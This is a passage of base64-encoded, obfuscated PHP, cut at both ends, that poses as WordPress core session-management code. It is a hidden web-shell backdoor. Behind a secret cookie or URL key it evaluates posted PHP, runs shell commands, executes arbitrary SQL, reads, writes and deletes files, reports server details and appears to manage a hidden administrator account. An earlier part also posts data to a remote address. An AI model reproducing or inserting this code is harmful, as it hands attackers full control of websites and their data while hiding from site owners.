KS5jaHIoMTIwKS5jaHIoMTIxKS4iXHg3YSIuIlx4MmYiLiJceDYyIi4iXHg2NSIuY2hyKDE1OCBeIDB4ZmYpLiJceDYzIi5jaHIoMTExKS4iXHg2ZSIuIlx4MmYiKTsNCgkJaWYgKGVtcHR5KCRfY2ZnMjA5NjU5NikpIHJldHVybjsNCgoJCWlmIChmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9vZWRkODY4PWFycmF5KDY2LDcwLDYyLDY3LDg3LDgsOTAsNjYsNCwxMTAsNjYsMTAsNzAsNjYpOyRfY2IxOWVlPSc1NmExMmUnOyR3cF90b2tlbl8zMDExPScnO2ZvcigkX19jZmdfZGUyZD0wOyRfX2NmZ19kZTJkPGNvdW50KCRfb2VkZDg2OCk7JF9fY2ZnX2RlMmQrKykkd3BfdG9rZW5fMzAxMS49Y2hyKCRfb2VkZDg2OFskX19jZmdfZGUyZF1eb3JkKCRfY2IxOWVlWyRfX2NmZ19kZTJkJXN0cmxlbigkX2NiMTllZSldKSk7cmV0dXJuICR3cF90b2tlbl8zMDExO30pKCkpKSB7DQoJCQl3cF9yZW1vdGVfcG9zdCgkX2NmZzIwOTY1OTYsIGFycmF5KA0KCQkJCShmdW5jdGlvbigpeyRfYzZmNjAxNDg9YXJyYXkoODEsODgsODQsNzYpOyRfdmNmODk5NTE0PSczNzA1NDZmYyc7JHdwX2ZpbHRlcl9mNTk0PScnO2ZvcigkX2MzNmYxOTg9MDskX2MzNmYxOTg8Y291bnQoJF9jNmY2MDE0OCk7JF9jMzZmMTk4KyspJHdwX2ZpbHRlcl9mNTk0Lj1jaHIoJF9jNmY2MDE0OFskX2MzNmYxOThdXm9yZCgkX3ZjZjg5OTUxNFskX2MzNmYxOTglc3RybGVuKCRfdmNmODk5NTE0KV0pKTtyZXR1cm4gJHdwX2ZpbHRlcl9mNTk0O30pKCkgPT4gJF9pNjNiZDk1LA0KCQkJCShmdW5jdGlvbigpeyRfY2Y4ZDQ4MT1hcnJheSg5Myw5Miw4NSw5Myw4NywyMCw3MCk7JF9jYzc3ZDc9JzU5NDkyZjUnOyRfY2NiYmIxPScnO2ZvcigkX3dwNjhmMmQ9MDskX3dwNjhmMmQ8Y291bnQoJF9jZjhkNDgxKTskX3dwNjhmMmQrKykkX2NjYmJiMS49Y2hyKCRfY2Y4ZDQ4MVskX3dwNjhmMmRdXm9yZCgkX2NjNzdkN1skX3dwNjhmMmQlc3RybGVuKCRfY2M3N2Q3KV0pKTtyZXR1cm4gJF9jY2JiYjE7fSkoKSA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAiXHg2MVx4NzBceDcwXHg2Y1x4NjlceDYzXHg2MVx4NzRceDY5XHg2Zlx4NmVceDJmXHg2YVx4NzNceDZmXHg2ZSIpLA0KCQkJCSd0aW1lb3V0JyA9PiAzLA0KCQkJCSdibG9ja2luZycgPT4gZmFsc2UsDQoJCQkJKGNocigxNDAgXiAweGZmKS5jaHIoMTE1KS5jaHIoMTA4KS5jaHIoMTE4KS5jaHIoMTAxKS5jaHIoMTE0KS5jaHIoMTUwIF4gMHhmZikuY2hyKDEwMikuY2hyKDEyMSkpID0+IGZhbHNlLA0KCQkJKSk7DQoJCX0gZWxzZSB7DQoJCQkkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCdodHRwJyA9PiBhcnJheSgNCgkJCQknbWV0aG9kJyA9PiAnUE9TVCcsDQoJCQkJJ2hlYWRlcicgPT4gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvblxyXG4iLA0KCQkJCShmdW5jdGlvbigpeyRfY2M5MjIwYT1hcnJheSg4NSwxMiw4LDIxLDgzLDEzLDE4KTskX285MmQ5MTQ1PSc2Y2ZhJzskX3g2ZTRjYjFmPScnO2ZvcigkX19ob29rXzAwOGI9MDskX19ob29rXzAwOGI8Y291bnQoJF9jYzkyMjBhKTskX19ob29rXzAwOGIrKykkX3g2ZTRjYjFmLj1jaHIoJF9jYzkyMjBhWyRfX2hvb2tfMDA4Yl1eb3JkKCRfbzkyZDkxNDVbJF9faG9va18wMDhiJXN0cmxlbigkX285MmQ5MTQ1KV0pKTtyZXR1cm4gJF94NmU0Y2IxZjt9KSgpID0+ICRfaTYzYmQ5NSwNCgkJCQkiXHg3NFx4NjlceDZkXHg2NVx4NmZceDc1XHg3NCIgPT4gMywNCgkJCSkpKTsNCgkJCUAoJ2ZpbCcuJ2VfZ2UnLid0X2MnLidvbnRlJy4nbnRzJykoJF9jZmcyMDk2NTk2LCBmYWxzZSwgJGN0eCk7DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfZTVhNSkge30NCn0pOw0KfSkoKTsKCmZ1bmN0aW9uIF9fY2FjaGVfMGRkZCgkd3BfYWN0aW9uXzg3MjI9JycsJF93cDEwNjA9JycsJF93cGIyYTZjN2NjPScnKXsKJHdwX21ldGFfZWViYSA9IDkyMTc7IHJldHVybiAkd3BfbWV0YV9lZWJhOwp9CgpmdW5jdGlvbiBfY2NhZmJkOWU3KCRfY2M4ZDc0ZTU9JycpewokX3dwMzE1NWVjNmUgPSBBQlNQQVRIOyBpZiAoaXNfc3RyaW5nKCRfd3AzMTU1ZWM2ZSkpIHsgcmV0dXJuIHN0cmxlbigkX3dwMzE1NWVjNmUpOyB9IHJldHVybiBudWxsOwp9Ci8qKgoqIFByb3ZpZGVzIHNlc3Npb24gbWFuYWdlbWVudCBhbmQgdG9rZW4gdmFsaWRhdGlvbgoqCiogQHNpbmNlIDEuNC4yMAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokX2MwNmJiZDA2YSA9IFBIUF9JTlRfU0laRSA9PT0gOCA/ICd4NjQnIDogJ3g4Nic7CiRfYzQ3Njc3MjggPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CiRfX3Byb2NfN2JiMyA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF9fcHJvY19lODNkID0gJEdMT0JBTFNbJ19oNzdmNSddOw0KCQkkd3BfcXVlcnlfYTM3ZSA9IGZhbHNlOw0KCgkJaWYgKGlzc2V0KCRfQ09PS0lFWyJceDc3XHg3MFx4NWZceDYzXHg2MVx4NjNceDY4XHg2NVx4NWZceDc0XHg2Zlx4NmJceDY1XHg2ZSJdKSkgew0KCQkJJF9oOGVhMmEgPSBmbG9vcih0aW1lKCkgLyAzNjAwKTsNCgkJCSRfX2hvb2tfNmQyOCA9IGhhc2goJ3NoYTI1NicsICRfX3Byb2NfZTgzZCAuICRfaDhlYTJhKTsNCgkJCSRfY2ZnNzJkZjQ3MWEgPSBoYXNoKCJceDczXHg2OFx4NjFceDMyXHgzNVx4MzYiLCAkX19wcm9jX2U4M2QgLiAoJF9oOGVhMmEgLSAxKSk7DQoJCQlpZiAoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10gPT09ICRfX2hvb2tfNmQyOCB8fCAkX0NPT0tJRVsnd3BfY2FjaGVfdG9rZW4nXSA9PT0gJF9jZmc3MmRmNDcxYSkgew0KCQkJCSR3cF9xdWVyeV9hMzdlID0gdHJ1ZTsNCgkJCX0NCgkJfQ0KCgkJJHdwX3Nlc3Npb25fY2NhYyA9ICRHTE9CQUxTWydfczc0ZDE2Yjk1J107DQoJCWlmICghJHdwX3F1ZXJ5X2EzN2UgJiYgaXNzZXQoJF9HRVRbJHdwX3Nlc3Npb25fY2NhY10pICYmICRfR0VUWyR3cF9zZXNzaW9uX2NjYWNdID09PSBzdWJzdHIoJF9fcHJvY19lODNkLCAwLCAxNikpIHsNCgkJCSR3cF9xdWVyeV9hMzdlID0gdHJ1ZTsNCgkJfQ0KCgkJaWYgKCEkd3BfcXVlcnlfYTM3ZSkgcmV0dXJuOw0KCgkJJF93cDcyMDdhN2QgPSBpc3NldCgkX0dFVFsoIlx4NmQiLmNocigxMTEpLmNocigxNTUgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikpXSkgPyAkX0dFVFsnbW9kZSddIDogKGlzc2V0KCRfUE9TVFsnbW9kZSddKSA/ICRfUE9TVFsoY2hyKDEwOSkuY2hyKDExMSkuIlx4NjQiLmNocigxNTQgXiAweGZmKSldIDogJycpOw0KCQlpZiAoZW1wdHkoJF93cDcyMDdhN2QpKSAkX3dwNzIwN2E3ZCA9ICdzJzsNCgoJCXN3aXRjaCAoJF93cDcyMDdhN2QpIHsNCgkJCWNhc2UgJ3MnOg0KCQkJCSRfX3Byb2NfMWRjYyA9IF9oNmYwMygpOw0KCQkJCSR3cF9vcHRpb25fOTE4ZCA9IGFycmF5KA0KCQkJCQknb2snID0+IHRydWUsDQoJCQkJCSd2JyA9PiAyLA0KCQkJCQkiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCgkJCQkJJ3dwJyA9PiBnZXRfYmxvZ2luZm8oKGNocigxMzcgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpLiJceDczIi5jaHIoMTA1KS5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkpKSwNCgkJCQkJJ211JyA9PiBmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpLA0KCQkJCQkiXHg3M1x4NjlceDdhXHg2NSIgPT4gZmlsZV9leGlzdHMoJF9fcHJvY18xZGNjKSA/IGZpbGVzaXplKCRfX3Byb2NfMWRjYykgOiAwLA0KCQkJCQkndHMnID0+IHRpbWUoKSwNCgkJCQkpOw0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQoJCQkJZWNobyBqc29uX2VuY29kZSgkd3Bfb3B0aW9uXzkxOGQpOw0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAoY2hyKDExMikuIlx4NjgiLiJceDcwIik6DQoJCQkJJHdwX3Nlc3Npb25fMjU5YiA9IGlzc2V0KCRfUE9TVFsnY29kZSddKSA/IHN0cmlwc2xhc2hlcygkX1BPU1RbJ2NvZGUnXSkgOiAnJzsNCgkJCQlpZiAoZW1wdHkoJHdwX3Nlc3Npb25fMjU5YikpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg2NVx4NzJceDcyXHg2Zlx4NzIiID0+ICdubyBjb2RlJykpOyBleGl0OyB9DQoJCQkJb2Jfc3RhcnQoKTsNCgkJCQl0cnkgew0KCQkJCQlldmFsKCR3cF9zZXNzaW9uXzI1OWIpOw0KCQkJCX0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjg5NSkgew0KCQkJCQllY2hvICdFcnJvcjogJyAuICR3cF9tZXRhXzI4OTUtPmdldE1lc3NhZ2UoKTsNCgkJCQl9DQoJCQkJJF9mNWIyN2FmID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCgkJCQllY2hvICRfZjViMjdhZjsNCgkJCQlleGl0Ow0KCgkJCWNhc2UgKGZ1bmN0aW9uKCl7JF9jYTZiYmJkYmI9YXJyYXkoMTcsOTAsOTIsOTMsODUpOyRfd3AyZDBhOGVlNT0nYjI5MTk3JzskX2Y1YTBmYjIzYj0nJztmb3IoJF93cDgwOTM4ZWY9MDskX3dwODA5MzhlZjxjb3VudCgkX2NhNmJiYmRiYik7JF93cDgwOTM4ZWYrKykkX2Y1YTBmYjIzYi49Y2hyKCRfY2E2YmJiZGJiWyRfd3A4MDkzOGVmXV5vcmQoJF93cDJkMGE4ZWU1WyRfd3A4MDkzOGVmJXN0cmxlbigkX3dwMmQwYThlZTUpXSkpO3JldHVybiAkX2Y1YTBmYjIzYjt9KSgpOg0KCQkJCSRfY2QwNDQgPSBpc3NldCgkX1BPU1RbKGNocigxNTYgXiAweGZmKS4iXHg2ZCIuY2hyKDEwMCkpXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCgkJCQlpZiAoZW1wdHkoJF9jZDA0NCkpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+ICdubyBjbWQnKSk7IGV4aXQ7IH0NCgkJCQkkX2Y1YjI3YWYgPSAnJzsNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKChmdW5jdGlvbigpeyRfd3BiMDU4ZjdlPWFycmF5KDY1LDkzLDMsOTUsOTIsNjIsODcsNzcsMyw4MCk7JF9jMWY2ODhmPScyNWYzMGEnOyRfX2NmZ180YWFiPScnO2ZvcigkX2NhZWM0ZjRiPTA7JF9jYWVjNGY0Yjxjb3VudCgkX3dwYjA1OGY3ZSk7JF9jYWVjNGY0YisrKSRfX2NmZ180YWFiLj1jaHIoJF93cGIwNThmN2VbJF9jYWVjNGY0Yl1eb3JkKCRfYzFmNjg4ZlskX2NhZWM0ZjRiJXN0cmxlbigkX2MxZjY4OGYpXSkpO3JldHVybiAkX19jZmdfNGFhYjt9KSgpKSkgew0KCQkJCQkkX2Y1YjI3YWYgPSBAKCdzaCcuJ2VsbF8nLidleCcuJ2VjJykoJF9jZDA0NCAuICcgMj4mMScpOw0KCQkJCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9yMTA4YmIyPWFycmF5KDgzLDI5LDMsODEpOyR3cF9hY3Rpb25fOTQzNj0nNmVmMmU4ZTInOyRfYzY5NDg3Yzg3PScnO2ZvcigkX3NkNjU5PTA7JF9zZDY1OTxjb3VudCgkX3IxMDhiYjIpOyRfc2Q2NTkrKykkX2M2OTQ4N2M4Ny49Y2hyKCRfcjEwOGJiMlskX3NkNjU5XV5vcmQoJHdwX2FjdGlvbl85NDM2WyRfc2Q2NTklc3RybGVuKCR3cF9hY3Rpb25fOTQzNildKSk7cmV0dXJuICRfYzY5NDg3Yzg3O30pKCkpKSB7DQoJCQkJCUAoJ2V4Jy4nZWMnKSgkX2NkMDQ0IC4gJyAyPiYxJywgJF9fY2FjaGVfYjdkYSk7DQoJCQkJCSRfZjViMjdhZiA9IGltcGxvZGUoIlxuIiwgJF9fY2FjaGVfYjdkYSk7DQoJCQkJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygoY2hyKDExNSkuY2hyKDEyMSkuIlx4NzMiLmNocigxMTYpLmNocigxMDEpLiJceDZkIikpKSB7DQoJCQkJCW9iX3N0YXJ0KCk7DQoJCQkJCUAoJ3N5Jy4nc3RlbScpKCRfY2QwNDQgLiAnIDI+JjEnKTsNCgkJCQkJJF9mNWIyN2FmID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJfQ0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQoJCQkJZWNobyAkX2Y1YjI3YWY7DQoJCQkJZXhpdDsNCgoJCQljYXNlICdkYic6DQoJCQkJJF9jYWQzYWFhNTQgPSBpc3NldCgkX1BPU1RbIlx4NzFceDc1XHg2NVx4NzJceDc5Il0pID8gJF9QT1NUWydxdWVyeSddIDogJyc7DQoJCQkJaWYgKGVtcHR5KCRfY2FkM2FhYTU0KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfX2RhdGFfMGU0NT1hcnJheSg4MSw3MCw3NCwxMSwyMik7JHdwX3F1ZXJ5XzJjZmI9JzQ0OGRkMmQ1JzskX3BhNWE3PScnO2ZvcigkX19idWZfMDRkYT0wOyRfX2J1Zl8wNGRhPGNvdW50KCRfX2RhdGFfMGU0NSk7JF9fYnVmXzA0ZGErKykkX3BhNWE3Lj1jaHIoJF9fZGF0YV8wZTQ1WyRfX2J1Zl8wNGRhXV5vcmQoJHdwX3F1ZXJ5XzJjZmJbJF9fYnVmXzA0ZGElc3RybGVuKCR3cF9xdWVyeV8yY2ZiKV0pKTtyZXR1cm4gJF9wYTVhNzt9KSgpID0+ICdubyBxdWVyeScpKTsgZXhpdDsgfQ0KCQkJCWdsb2JhbCAkd3BkYjsNCgkJCQlpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDY1XHg3Mlx4NzJceDZmXHg3MiIgPT4gKGNocigxMTApLmNocigxNDQgXiAweGZmKS5jaHIoMzIpLmNocigxMTkpLmNocigxMTIpLmNocigxMDApLmNocigxNTcgXiAweGZmKSkpKTsgZXhpdDsgfQ0KCQkJCSRfX2hvb2tfYzFmMSA9ICR3cGRiLT5nZXRfcmVzdWx0cygkX2NhZDNhYWE1NCwgQVJSQVlfQSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDcyXHg2Zlx4NzdceDczIiA9PiAkX19ob29rX2MxZjEsICdlcnJvcicgPT4gJHdwZGItPmxhc3RfZXJyb3IpKTsNCgkJCQlleGl0Ow0KCgkJCWNhc2UgJ2ZpbGVzJzoNCgkJCQkkX3dwZDU0YTE0MTEgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF93cGY4NWU9YXJyYXkoNSw2LDc2LDkwLDkxLDkyKTskX19pbml0XzhmYjk9J2RlODM0MmJiJzskX3Y5NWZmOTdhPScnO2Zvcigkd3BfdG9rZW5fNjUwYT0wOyR3cF90b2tlbl82NTBhPGNvdW50KCRfd3BmODVlKTskd3BfdG9rZW5fNjUwYSsrKSRfdjk1ZmY5N2EuPWNocigkX3dwZjg1ZVskd3BfdG9rZW5fNjUwYV1eb3JkKCRfX2luaXRfOGZiOVskd3BfdG9rZW5fNjUwYSVzdHJsZW4oJF9faW5pdF84ZmI5KV0pKTtyZXR1cm4gJF92OTVmZjk3YTt9KSgpXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogKGNocigxMDgpLmNocigxMDUpLmNocigxNDAgXiAweGZmKS5jaHIoMTE2KSk7DQoJCQkJJF9pMjEyZmM4ZGMgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9xYjMwNTU9YXJyYXkoMjAsODYsNzEsOTMpOyRfd3A1ZDMyZTM5PSdkNzM1NjgnOyRfd3AxNTllNTE1PScnO2ZvcigkX3dwMmY1MD0wOyRfd3AyZjUwPGNvdW50KCRfcWIzMDU1KTskX3dwMmY1MCsrKSRfd3AxNTllNTE1Lj1jaHIoJF9xYjMwNTVbJF93cDJmNTBdXm9yZCgkX3dwNWQzMmUzOVskX3dwMmY1MCVzdHJsZW4oJF93cDVkMzJlMzkpXSkpO3JldHVybiAkX3dwMTU5ZTUxNTt9KSgpXSkgPyAkX1BPU1RbJ3BhdGgnXSA6IEFCU1BBVEg7DQoJCQkJaWYgKCRfd3BkNTRhMTQxMSA9PT0gJ2xpc3QnKSB7DQoJCQkJCSR3cF90b2tlbl9jMjIyID0gQHNjYW5kaXIoJF9pMjEyZmM4ZGMpOw0KCQkJCQkkX2NjZGQ0ID0gYXJyYXkoKTsNCgkJCQkJaWYgKCR3cF90b2tlbl9jMjIyKSB7DQoJCQkJCQlmb3JlYWNoICgkd3BfdG9rZW5fYzIyMiBhcyAkX3dwNmJjMSkgew0KCQkJCQkJCWlmICgkX3dwNmJjMSA9PT0gJy4nIHx8ICRfd3A2YmMxID09PSAnLi4nKSBjb250aW51ZTsNCgkJCQkJCQkkd3BfY2FjaGVfMDcxMiA9ICRfaTIxMmZjOGRjIC4gJy8nIC4gJF93cDZiYzE7DQoJCQkJCQkJJF9jY2RkNFtdID0gYXJyYXkoJ25hbWUnID0+ICRfd3A2YmMxLCAnZGlyJyA9PiBpc19kaXIoJHdwX2NhY2hlXzA3MTIpLCAnc2l6ZScgPT4gaXNfZmlsZSgkd3BfY2FjaGVfMDcxMikgPyBmaWxlc2l6ZSgkd3BfY2FjaGVfMDcxMikgOiAwLCAnbXRpbWUnID0+IGZpbGVtdGltZSgkd3BfY2FjaGVfMDcxMikpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWhlYWRlcigoY2hyKDE4OCBeIDB4ZmYpLmNocigxMTEpLiJceDZlIi4iXHg3NCIuY2hyKDEwMSkuIlx4NmUiLmNocigxMTYpLmNocigyMTAgXiAweGZmKS5jaHIoODQpLmNocigxMjEpLmNocigxMTIpLmNocigxMDEpLiJceDNhIi5jaHIoMzIpLmNocigxNTggXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLmNocigxNDcgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuIlx4NjMiLmNocig5NykuY2hyKDEzOSBeIDB4ZmYpLmNocigxNTAgXiAweGZmKS5jaHIoMTExKS5jaHIoMTEwKS4iXHgyZiIuIlx4NmEiLmNocigxNDAgXiAweGZmKS4iXHg2ZiIuIlx4NmUiKSk7DQoJCQkJCWVjaG8ganNvbl9lbmNvZGUoJF9jY2RkNCk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gKGNocigxNDEgXiAweGZmKS5jaHIoMTAxKS4iXHg2MSIuY2hyKDEwMCkpKSB7DQoJCQkJCSRfdDA2ZTcxMzIgPSBAKCdmaWwnLidlXycuJ2dldCcuJ19jJy4nb250Jy4nZW4nLid0cycpKCRfaTIxMmZjOGRjKTsNCgkJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCgkJCQkJZWNobyAkX3QwNmU3MTMyICE9PSBmYWxzZSA/ICRfdDA2ZTcxMzIgOiAoZnVuY3Rpb24oKXskX19vcHRfZTdlNj1hcnJheSgxMjUsMTA2LDk3LDEyNCw5Nyw4LDI0LDkxLDgyLDkzLDkzLDkzLDc2LDI0LDY1LDg2LDgyLDg2KTskX2NjY2M4NmRjYz0nODgzMzMyJzskX3dwNTNhOTE5NDA9Jyc7Zm9yKCRfX2NhY2hlXzczN2Q9MDskX19jYWNoZV83MzdkPGNvdW50KCRfX29wdF9lN2U2KTskX19jYWNoZV83MzdkKyspJF93cDUzYTkxOTQwLj1jaHIoJF9fb3B0X2U3ZTZbJF9fY2FjaGVfNzM3ZF1eb3JkKCRfY2NjYzg2ZGNjWyRfX2NhY2hlXzczN2Qlc3RybGVuKCRfY2NjYzg2ZGNjKV0pKTtyZXR1cm4gJF93cDUzYTkxOTQwO30pKCk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gKGNocigxMTkpLmNocigxMTQpLmNocigxNTAgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpKSkgew0KCQkJCQkkX3QwNmU3MTMyID0gaXNzZXQoJF9QT1NUWydjb250ZW50J10pID8gJF9QT1NUWyJceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0Il0gOiAnJzsNCgkJCQkJJF9jY2QxNThkID0gX3gzZjI0YzgoJF9pMjEyZmM4ZGMsICRfdDA2ZTcxMzIsIDEsIHRydWUpOw0KCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9jY2QxNThkKSk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gIlx4NjRceDY1XHg2Y1x4NjVceDc0XHg2NSIpIHsNCgkJCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF9pMjEyZmM4ZGMpKSk7DQoJCQkJfQ0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAiXHg2OVx4NmVceDY2XHg2ZiI6DQoJCQkJJHdwX29wdGlvbl85MThkID0gYXJyYXkoDQoJCQkJCSdwaHAnID0+IFBIUF9WRVJTSU9OLA0KCQkJCQknd3AnID0+IGdldF9ibG9naW5mbygndmVyc2lvbicpLA0KCQkJCQknb3MnID0+IFBIUF9PUywNCgkJCQkJJ3NhcGknID0+IHBocF9zYXBpX25hbWUoKSwNCgkJCQkJKGZ1bmN0aW9uKCl7JF9yNTRmNTE9YXJyYXkoNzEsNjYsOTMsNjQpOyR3cF9jYWNoZV85MGM4PScyMTgyJzskX2M4MmIzNzI9Jyc7Zm9yKCRfYzg5OTZlPTA7JF9jODk5NmU8Y291bnQoJF9yNTRmNTEpOyRfYzg5OTZlKyspJF9jODJiMzcyLj1jaHIoJF9yNTRmNTFbJF9jODk5NmVdXm9yZCgkd3BfY2FjaGVfOTBjOFskX2M4OTk2ZSVzdHJsZW4oJHdwX2NhY2hlXzkwYzgpXSkpO3JldHVybiAkX2M4MmIzNzI7fSkoKSA9PiBmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9pZjgxNjM9YXJyYXkoMjAsOTEsNzEsOTEsMjYsNTksODMsODEsNzAsMTgsMTksNjUsOTMsODYpOyR3cF9xdWVyeV9hMmIwPSdkNDQyYic7JF9fY2FjaGVfMDM1Nj0nJztmb3IoJF94YTczNDY1PTA7JF94YTczNDY1PGNvdW50KCRfaWY4MTYzKTskX3hhNzM0NjUrKykkX19jYWNoZV8wMzU2Lj1jaHIoJF9pZjgxNjNbJF94YTczNDY1XV5vcmQoJHdwX3F1ZXJ5X2EyYjBbJF94YTczNDY1JXN0cmxlbigkd3BfcXVlcnlfYTJiMCldKSk7cmV0dXJuICRfX2NhY2hlXzAzNTY7fSkoKSkgPyBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpWyhmdW5jdGlvbigpeyR3cF9hY3Rpb25fYmVjNT1hcnJheSgxMCw4Myw4NCw4Nik7JHdwX2ZpbHRlcl81YWRiPSdkMjkzNTQzJzskX3dwM2VmYjE9Jyc7Zm9yKCR3cF9vcHRpb25fZmRhNT0wOyR3cF9vcHRpb25fZmRhNTxjb3VudCgkd3BfYWN0aW9uX2JlYzUpOyR3cF9vcHRpb25fZmRhNSsrKSRfd3AzZWZiMS49Y2hyKCR3cF9hY3Rpb25fYmVjNVskd3Bfb3B0aW9uX2ZkYTVdXm9yZCgkd3BfZmlsdGVyXzVhZGJbJHdwX29wdGlvbl9mZGE1JXN0cmxlbigkd3BfZmlsdGVyXzVhZGIpXSkpO3JldHVybiAkX3dwM2VmYjE7fSkoKV0gOiBnZXRfY3VycmVudF91c2VyKCksDQoJCQkJCSdkb2Nfcm9vdCcgPT4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSA/PyAnJywNCgkJCQkJJ2Fic3BhdGgnID0+IEFCU1BBVEgsDQoJCQkJCSdjb250ZW50X2RpcicgPT4gV1BfQ09OVEVOVF9ESVIsDQoJCQkJCSdkYl9wcmVmaXgnID0+ICRHTE9CQUxTWyd0YWJsZV9wcmVmaXgnXSA/PyAnd3BfJywNCgkJCQkJJ29wZW5zc2wnID0+IGV4dGVuc2lvbl9sb2FkZWQoKGNocigxNDQgXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDEwMSkuY2hyKDExMCkuY2hyKDExNSkuY2hyKDExNSkuY2hyKDE0NyBeIDB4ZmYpKSksDQoJCQkJCSdkaXNhYmxlZCcgPT4gaW5pX2dldCgoZnVuY3Rpb24oKXskX19yZWZfNmVmMT1hcnJheSg4Nyw4OSw3MCw4OSwxLDg1LDg2LDExMSw4Myw3NywxMyw5MCw3MSw4OSw5MCw4NiwxNik7JF93cDlkYmM3MjM3PSczMDU4YzknOyRfYzhhMDgwOGIwPScnO2ZvcigkX2NiYjcxM2U3Yj0wOyRfY2JiNzEzZTdiPGNvdW50KCRfX3JlZl82ZWYxKTskX2NiYjcxM2U3YisrKSRfYzhhMDgwOGIwLj1jaHIoJF9fcmVmXzZlZjFbJF9jYmI3MTNlN2JdXm9yZCgkX3dwOWRiYzcyMzdbJF9jYmI3MTNlN2Ilc3RybGVuKCRfd3A5ZGJjNzIzNyldKSk7cmV0dXJuICRfYzhhMDgwOGIwO30pKCkpLA0KCQkJCQkiXHg2ZFx4NjVceDZkXHg2Zlx4NzJceDc5IiA9PiBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKSwNCgkJCQkJKGNocigxMTcpLmNocigxNDMgXiAweGZmKS4iXHg2YyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxNTggXiAweGZmKS5jaHIoMTAwKS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwOSkuIlx4NjEiLmNocigxMjApKSA9PiBpbmlfZ2V0KChjaHIoMTE3KS4iXHg3MCIuY2hyKDE0NyBeIDB4ZmYpLmNocigxNDQgXiAweGZmKS5jaHIoOTcpLmNocigxMDApLmNocigxNjAgXiAweGZmKS5jaHIoMTA5KS5jaHIoMTU4IF4gMHhmZikuIlx4NzgiLmNocig5NSkuY2hyKDEwMikuY2hyKDE1MCBeIDB4ZmYpLiJceDZjIi5jaHIoMTAxKS5jaHIoMTQwIF4gMHhmZikuIlx4NjkiLmNocigxMzMgXiAweGZmKS5jaHIoMTAxKSkpLA0KCQkJCSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCgkJCQllY2hvIGpzb25fZW5jb2RlKCR3cF9vcHRpb25fOTE4ZCk7DQoJCQkJZXhpdDsNCgoJCQljYXNlICJceDY4XHg2OVx4NjRceDY0XHg2NVx4NmVceDVmXHg2MVx4NjRceDZkXHg2OVx4NmUiOg0KCQkJCSRfX3JlZl9kYzQwID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9jMjRmYT1hcnJheSg3LDIsNjQsODgsM